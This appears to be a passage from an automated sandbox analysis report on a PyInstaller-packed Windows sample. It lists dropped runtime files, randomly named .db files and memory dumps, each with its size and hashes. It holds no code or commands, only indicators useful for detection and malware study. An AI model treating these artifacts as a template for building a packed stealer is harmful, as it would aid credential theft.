6189c1bd56db5b7a9806960bc27742d97d2794acebc32e0a5f634fe0ff863e1775dcf90224504d5e2920a1192a3c1511fb84d41d7a2b69c67d3bdfbab2f968fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\_hashlib.pyd

Filesize
63KB

MD5
534902be1d8a57974efd025aff4f11ef

SHA1
1179c6153dc52f72c29fe1591dc9a889c2e229e9

SHA256
30adfb86513282e59d7e27968e1ff6686e43b8559994a50c17be66d0789f82b3

SHA512
7f0cdcf8576faf30fc8104b9bc9586d85ad50b7803074a7bcaa192eed05b1e2bd988a91873554fb63f204fcad86c667e95755c5ff13c43f96dc334ef3ea37240

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\_lzma.pyd

Filesize
155KB

MD5
2ae2464bfcc442083424bc05ed9be7d2

SHA1
f64b100b59713e51d90d2e016b1fe573b6507b5d

SHA256
64ba475a28781dca81180a1b8722a81893704f8d8fac0b022c846fdcf95b15b9

SHA512
6c3acd3dcae733452ad68477417693af64a7d79558e8ec9f0581289903c2412e2f29195b90e396bfdcd765337a6dea9632e4b8d936ac39b1351cd593cb12ce27

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\_queue.pyd

Filesize
31KB

MD5
dbd3c2c0a348a44a96d76100690c606d

SHA1
04e901eac1161255adb16155459ac50f124b30a6

SHA256
2bfd8459ba01c741d676f79ee96802fb2c29cb30f50301d67fde8bbce8e7e7d4

SHA512
99fee97c272bfff4515407d588b2761af7be39a83be070e01128fba71ff75404fbad6352bcdbe5465786ce86a6550f47b177d022ccb53f32f5a482db61bee3b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\_socket.pyd

Filesize
77KB

MD5
11b7936a5bd929cc76ac3f4f137b5236

SHA1
09cb712fa43dc008eb5185481a5080997aff82ab

SHA256
8956b11c07d08d289425e7240b8fa37841a27c435617dbbd02bfe3f9405f422b

SHA512
7b050df283a0ad4295a5be47b99d7361f49a3cfd20691e201c5da5349a9eb8f5710ab3a26a66d194567539660ed227411485f4edf2269567a55a6b8ccfd71096

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\base_library.zip

Filesize
1.8MB

MD5
74d60cc0d69811789c8b9f134459e93f

SHA1
929805dff65fcd4770389c2b362df0bff7c223f4

SHA256
aae0cb5f56a84715c75af5b57a2ef94d2c55172535d4f2776962b07fa6bc710a

SHA512
e73fd20579f8c9389dfaf13b677553a62163096b0bbe6c4f77834e9f9b19ae76c773f702cdd37132fc84e987231b4e5e1c5df2b0d2bf8e73cd58105502b05129

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\charset_normalizer\md.cp311-win_amd64.pyd

Filesize
10KB

MD5
28af0ffb49cc20fe5af9fe8efa49d6f1

SHA1
2c17057c33382ddffea3ca589018cba04c4e49d7

SHA256
f1e26ef5d12c58d652b0b5437c355a14cd66606b2fbc00339497dd00243081e0

SHA512
9aa99e17f20a5dd485ae43ac85842bd5270ebab83a49e896975a8fa9f98ffc5f7585bef84ed46ba55f40a25e224f2640e85cebe5acb9087cf46d178ecc8029f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\charset_normalizer\md__mypyc.cp311-win_amd64.pyd

Filesize
110KB

MD5
6cdca2fde9df198da58955397033af98

SHA1
e457c97721504d25f43b549d57e4538a62623168

SHA256
a4a758eabd1b2b45f3c4699bdfebc98f196dc691c0a3d5407e17fffffafc5df7

SHA512
7b3c384ba9993d3192ed852191ff77bdcd3421cbc69ff636c6deb8fe7248e066573b68d80a8f280ae0c1cb015f79967d46d910455d932eaeac072c76d0757e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\libffi-8.dll

Filesize
38KB

MD5
0f8e4992ca92baaf54cc0b43aaccce21

SHA1
c7300975df267b1d6adcbac0ac93fd7b1ab49bd2

SHA256
eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a

SHA512
6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\pyexpat.pyd

Filesize
193KB

MD5
bfe46323faea201f6d18d60723e06852

SHA1
f93afeebb3ea1e6d1cc8ab3618c9d4c88eaa7475

SHA256
35134cca2dcf7c2b7e592b677833322b6b72a6a88afcd3935afe5907a282e89e

SHA512
7342c309c98b7ef0d8e7d02e6a31afbd765b077b9061a185b160842b24af3fb629d5757001ae647b8c660defd41b765bbb6175cca431d569ff9bd580fd8f7913

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\python3.dll

Filesize
65KB

MD5
ff319d24153238249adea18d8a3e54a7

SHA1
0474faa64826a48821b7a82ad256525aa9c5315e

SHA256
a462a21b5f0c05f0f7ec030c4fde032a13b34a8576d661a8e66f9ad23767e991

SHA512
0e63fe4d5568cd2c54304183a29c7469f769816f517cd2d5b197049aa966c310cc13a7790560ef2edc36b9b6d99ff586698886f906e19645faeb89b0e65adfdd

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\python311.dll

Filesize
920KB

MD5
1f84af89fe4096bac016afc2a1737884

SHA1
6eeca645e6831e6962c5d0711efd41c500a0eceb

SHA256
36978e3d110b1367f86d000d878bbe6f8ff51673ee1f12cc5a1a78a1e414f7b5

SHA512
b121a370271d92e9b47617ca01ec5498e1c1b2dab649bbd6083a0d1d3172febfc702d402f6a89c9d8a6abadecca650e16faae5446ead7dfb16839890951f55b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\python311.dll

Filesize
3.2MB

MD5
f196918823cef84e76a29a46e7e749b5

SHA1
c2b4fa00f365a9326f4d4ae0d0fbcacd91f4d141

SHA256
b1d112b0f6a92ffcd6ca52ea63af96c27dc7a4e53565cd615d7944ec32cb547a

SHA512
0eab190a57aeacf7fac4260d821cdd97e6d7164848ab94f1a9a167f597edefcc53b323a31385c9003a6048b0f4a9c553b2c7ed558486d332d99d02d200bef4f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\pywin32_system32\pythoncom311.dll

Filesize
288KB

MD5
1866e306b1399fb43806b3521099bf3c

SHA1
22e14b7a8c122a231b6f4502c4baf62b8b007405

SHA256
d8a628dc5047b6c712ae463f8d0059389c8ef2c12198e86bfcc2ed7125951be1

SHA512
15a4285fb3946269a8bf1c6a8e65c023312cc78eacd52ad3c524795d9bea41f4319507727a3b5fc443e605bd84836654e24e16b74eb4c7921d68e6ffdd4ee11e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\pywin32_system32\pythoncom311.dll

Filesize
156KB

MD5
5371a05f2cc54610cd9a6f8b0f8928b7

SHA1
e065ef5ccd58ed223019069fa06331e669d6f464

SHA256
2f8bb98a39a7e2a4b752c1f92e671d4c6d436413446553a4e6611bacbbb6f947

SHA512
038edf0bbf02f1d9bf0d41d5ab28257b7770f7539cfe6a56b7ac1fe26a7988ba4e5e6713956cf7da549d4515c7b0cc128707786caa88eaf4a9cd1d1368522ac7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\pywin32_system32\pywintypes311.dll

Filesize
131KB

MD5
90b786dc6795d8ad0870e290349b5b52

SHA1
592c54e67cf5d2d884339e7a8d7a21e003e6482f

SHA256
89f2a5c6be1e70b3d895318fdd618506b8c0e9a63b6a1a4055dff4abdc89f18a

SHA512
c6e1dbf25d260c723a26c88ec027d40d47f5e28fc9eb2dbc72a88813a1d05c7f75616b31836b68b87df45c65eef6f3eaed2a9f9767f9e2f12c45f672c2116e72

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\select.pyd

Filesize
29KB

MD5
0b55f18218f4c8f30105db9f179afb2c

SHA1
f1914831cf0a1af678970824f1c4438cc05f5587

SHA256
e7fe45baef9cee192c65fcfce1790ccb6f3f9b81e86df82c08f838e86275af02

SHA512
428ee25e99f882af5ad0dedf1ccdbeb1b4022ac286af23b209947a910bf02ae18a761f3152990c84397649702d8208fed269aa3e3a3c65770e21ee1eec064cc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\unicodedata.pyd

Filesize
1.1MB

MD5
d4323ac0baab59aed34c761f056d50a9

SHA1
843687689d21ede9818c6fc5f3772bcf914f8a6e

SHA256
71d27537eb1e6de76fd145da4fdcbc379dc54de7854c99b2e61aae00109c13d0

SHA512
e31d071ce920b3e83c89505dfa22b2d0f09d43c408fcadbc910f021481c4a53c47919fce0215ae61f00956dcb7171449eabda8eef63a6fdd47aa13c7158577be

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\win32\win32api.pyd

Filesize
124KB

MD5
f4aef4cbcd179ae7b2b9ad8924b64fe4

SHA1
46f38e468779b77960c1c4334316d9e52156d9a9

SHA256
3571095391084e7c28068bd7909a9ab711d25622a94cd63df4ba325e2747c4c2

SHA512
fb1f7cc9d00062988cca4e18e9f3615323d703ba3c5e9fe865696d6a56baaedc21acccfbac196a45b3a42b1994f6df16960bfbb282b8522fa19390e098b4246f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\win32\win32api.pyd

Filesize
49KB

MD5
8c1f2acedfa506df7a03464a277d161f

SHA1
f524f4803eb0691e31c45551147ae3e1e6380856

SHA256
912dcfbfa45f9344f9d69e74e0383ecbe1a1ce49cf5b3e172e2677ee571a6233

SHA512
02849f01b3ddc0661408ab6c76e39fd18c064ae927999e0c71d8b393dc672419900912050ddccb38a25f5821fa848662142c5f70986a627a4edb47c0ee7017e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI57642\setuptools-58.5.3.dist-info\INSTALLER

Filesize
4B

MD5
365c9bfeb7d89244f2ce01c1de44cb85

SHA1
d7a03141d5d6b1e88b6b59ef08b6681df212c599

SHA256
ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508

SHA512
d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1

Download Submit
C:\Users\Admin\AppData\Local\Tempcsbyqclsyq.db

Filesize
148KB

MD5
90a1d4b55edf36fa8b4cc6974ed7d4c4

SHA1
aba1b8d0e05421e7df5982899f626211c3c4b5c1

SHA256
7cf3e9e8619904e72ea6608cc43e9b6c9f8aa2af02476f60c2b3daf33075981c

SHA512
ea0838be754e1258c230111900c5937d2b0788f90bbf7c5f82b2ceda7868e50afb86c301f313267eaa912778da45755560b5434885521bf915967a7863922ae2

Download Submit
C:\Users\Admin\AppData\Local\Tempcsdojfvtrz.db

Filesize
46KB

MD5
02d2c46697e3714e49f46b680b9a6b83

SHA1
84f98b56d49f01e9b6b76a4e21accf64fd319140

SHA256
522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

SHA512
60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

Download Submit
C:\Users\Admin\AppData\Local\Tempcsenuygczl.db

Filesize
20KB

MD5
c9ff7748d8fcef4cf84a5501e996a641

SHA1
02867e5010f62f97ebb0cfb32cb3ede9449fe0c9

SHA256
4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988

SHA512
d36054499869a8f56ac8547ccd5455f1252c24e17d2b185955390b32da7e2a732ace4e0f30f9493fcc61425a2e31ed623465f998f41af69423ee0e3ed1483a73

Download Submit
C:\Users\Admin\AppData\Local\Tempcsfihoegdg.db

Filesize
92KB

MD5
ec564f686dd52169ab5b8535e03bb579

SHA1
08563d6c547475d11edae5fd437f76007889275a

SHA256
43c07a345be732ff337e3826d82f5e220b9474b00242e335c0abb9e3fcc03433

SHA512
aa9e3cb1ae365fd5a20439bca6f7c79331a08d2f7660a36c5b8b4f57a0e51c2392b8e00f3d58af479134531dc0e6b4294210b3633f64723abd7f4bc4db013df9

Download Submit
C:\Users\Admin\AppData\Local\Tempcsmrcufvzz.db

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Local\Tempcsxzvhykmm.db

Filesize
48KB

MD5
349e6eb110e34a08924d92f6b334801d

SHA1
bdfb289daff51890cc71697b6322aa4b35ec9169

SHA256
c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

SHA512
2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/5476-1070-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1069-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1071-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1078-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1079-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1081-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1080-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1076-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1075-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download
memory/5476-1077-0x0000027626220000-0x0000027626221000-memory.dmp

Filesize
4KB

Download